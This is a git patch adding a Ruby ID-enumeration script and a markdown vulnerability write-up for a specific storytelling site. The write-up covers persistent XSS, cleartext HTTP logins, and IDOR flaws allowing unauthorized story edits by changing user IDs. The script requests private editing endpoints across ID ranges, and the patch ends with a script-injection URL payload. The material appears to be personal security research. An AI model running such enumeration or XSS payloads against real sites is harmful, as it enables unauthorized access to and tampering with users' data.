From 4e0b5b87a9199a4b7cb827bb3fcbc09b913a9abe Mon Sep 17 00:00:00 2001 From: Conor Horan-Kates Date: Tue, 22 May 2018 21:03:50 -0700 Subject: [PATCH] not adding to index since site has been taken down, but can now add without notification --- solu/soluapp-enumerator.rb | 160 +++++++++++++++++++++++++++++++++++++ solu/soluapp.pub.md | 77 ++++++++++++++++++ 2 files changed, 237 insertions(+) create mode 100644 solu/soluapp-enumerator.rb create mode 100644 solu/soluapp.pub.md diff --git a/solu/soluapp-enumerator.rb b/solu/soluapp-enumerator.rb new file mode 100644 index 0000000..0302bb7 --- /dev/null +++ b/solu/soluapp-enumerator.rb @@ -0,0 +1,160 @@ +#!/usr/bin/env ruby +## soluapp-enumerator.rb - enumerates soluapp.pub IDs for users and stories + +require 'digest' +require 'net/http' +require 'uri' + +module Soluapp + + URL_TEMPLATES = { + :one => { + :legacy_chapter => 'http://soluapp.pub/legacy-chapter.php?id=%i', + :story_slide => 'http://soluapp.pub/story_slide.php?userid=%i&key=0&ty=', + }, + :two => { + :last_story => 'http://soluapp.pub/legacy/last_story1.php?userid=%i&id=%i&img=bg_image7.png&key=0&ty=&chapkey=0', + :write_legacy => 'http://soluapp.pub/legacy/write_legacy.php?id=%i&img=&key=&chapkey=&ty=&user=%i', + }, + :buckle_my_shoe => {}, + } + + class Utility + + def self.get_url_one(type, id) + sprintf(URL_TEMPLATES[:one][type], id) + end + + def self.get_url_two(type, id1, id2) + sprintf(URL_TEMPLATES[:two][type], id1, id2) + end + + def self.get_url(url) + uri = URI.parse(url) + http = Net::HTTP.new(uri.host, uri.port) + http.use_ssl = false + request = Net::HTTP::Get.new(uri.request_uri) + response = http.request(request) + + if response.code.eql?('301') + return self.get_url(response.header['location']) + end + + response + end + + end + + class Response + + attr_reader :url, :response, :hash, :size, :success + + def initialize(url, response) + @url = url + @response = response + @success = ! response.code.match(/4.*/) + + @hash = Digest::MD5.hexdigest(response.body) + @size = response.body.length + end + end + + class Application + attr_reader :type, :ceiling, :floor, :responses + + def initialize(type, ceiling = 10_000, floor = 0) + @type = type.to_sym + @ceiling = ceiling + @floor = floor + @responses = Array.new + + raise StandardError.new(sprintf('invalid type[%s] specified', type)) unless URL_TEMPLATES[:one].has_key?(type) or URL_TEMPLATES[:two].has_key?(type) + end + + def inspect + candidate = { + :type => @type, + :ceiling => @ceiling, + :floor => @floor, + } + + candidate.delete(:floor) if @floor.eql?(0) + candidate + end + + def to_s + self.inspect.to_s + end + + def request! + + return request_url_one if URL_TEMPLATES[:one].has_key?(@type) + return request_url_two if URL_TEMPLATES[:two].has_key?(@type) + + end + + def request_url_one + + @floor.upto(@ceiling) do |i| + url = Soluapp::Utility.get_url_one(@type, i) + response = Soluapp::Utility.get_url(url) + @responses << Soluapp::Response.new(url, response) + end + + end + + def request_url_two + + @floor.upto(@ceiling) do |i| + @floor.upto(@ceiling) do |j| + url = Soluapp::Utility.get_url_two(@type, i, j) + response = Soluapp::Utility.get_url(url) + @responses << Soluapp::Response.new(url, response) + end + end + + end + + def summarize + successes = @responses.select { |r| r.success.eql?(true) } + failures = @responses - successes + + puts sprintf('total responses[%i]', @responses.size) + puts sprintf(' successful responses[%i]', successes.size) + puts sprintf(' failed responses [%i]', failures.size) + + sizes = Hash.new(0) + successes.each do |s| + sizes[s.size] += 1 + end + + puts sprintf('size distribution[%s]', sizes) + + md5s = Hash.new('') + successes.each do |s| + md5s[s.hash] += 1 + end + + puts sprintf('hash distribution[%s]', md5s) + end + + end + +end + +ceiling = 10 +floor = 0 + +[ + :legacy_chapter, + :story_slide, + :last_story, + :write_legacy, +].each do |type| + app = Soluapp::Application.new(type, ceiling, floor) + + app.request! + + app.summarize + +end \ No newline at end of file diff --git a/solu/soluapp.pub.md b/solu/soluapp.pub.md new file mode 100644 index 0000000..486a073 --- /dev/null +++ b/solu/soluapp.pub.md @@ -0,0 +1,77 @@ +# solu.pub vulnerabilities + +## intro + + * [persistent XSS](#XSS) + * [HTTP passing passwords in clear](#cleartext-passwords) + * [incremental IDs for users and posts](#incremental-ids) + * [last_story1.php vs. last_story.php](#last_story.php) + * [creating stories with free account](#free-account-story-creation) + +## XSS + +on http://soluapp.pub/legacy/legacy-chapter1.php, both are persistent: + + * Legacy Title + * Chapter Title (is run 2x per page load) + +POC input value: `">` + +given the basic nature of this string, imagining that many of the other input fields are similarly vulnerable, +and that no XSS mitigation whatsoever is being done. + +## HTTP passing cleatext passwords + +i couldn't find any resources on this site that were served over SSL, and of particular concern is the email (login page)[http://soluapp.pub/signin2.html], which sends: + +``` +POST /php/signin.php HTTP/1.1 +Host: soluapp.pub +Connection: keep-alive +Content-Length: 61 +Accept: */* +Origin: http://soluapp.pub +X-Requested-With: XMLHttpRequest +User-Agent: +Referer: http://soluapp.pub/signin2.html +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.8 +Cookie: PHPSESSID=; intercom-id-l2bhyx5c=85d1329e-1353-4c01-b4fa-e48e14c6d985; _gat=1; _ga=GA1.2.1803746552.1482791071 + +&Email_Address=&Password= +``` + +## incremental IDs + +## last_story.php + +public entrance/landing page URLs: + * http://soluapp.pub/legacy-chapter.php?id=2074 -- (randomly chosen) + * http://soluapp.pub/legacy-chapter.php?id=917 -- (free) + * http://soluapp.pub/legacy-chapter.php?id=5288 -- (paid) + +public story URL: + * http://soluapp.pub/story_slide.php?userid=196&ty=I%20came%20for%20the%20winter...&key=0 + +private/editing pages had the following URLs: + * http://soluapp.pub/legacy/last_story1.php?userid=882&id=5288&img=bg_image7.png&key=0&ty=&chapkey=0 + * http://soluapp.pub/legacy/write_legacy.php?id=5288&img=&key=&chapkey=&ty=&user=882 + +simply by changing the userid (or post id) and using the /legacy/ URLs, even while logged in as my user, +i am able to make unauthorized changes. + +to find more users, one could simply try 0..10_000 as userid values in + +## free account story creation + +by visiting while signed in with a free account, these allow creation of stories: + * http://soluapp.pub/record_next.php + * http://soluapp.pub/all_chapter1_alt.php + +`http://soluapp.pub/legacy/write_legacy.php?id=&img=&key=&chapkey=&ty=&user=917` leaks path information: +``` +Fatal error: Call to a member function fetch_assoc() on a non-object in /home/soluapp/public_html/legacy/write_legacy.php on line 620
+``` + +--- +http://soluapp.pub/audio_record.php?story_title=%22%3E%3Cscript%3Ealert%28%27foo%27%29%3C%2Fscript%3E&audio=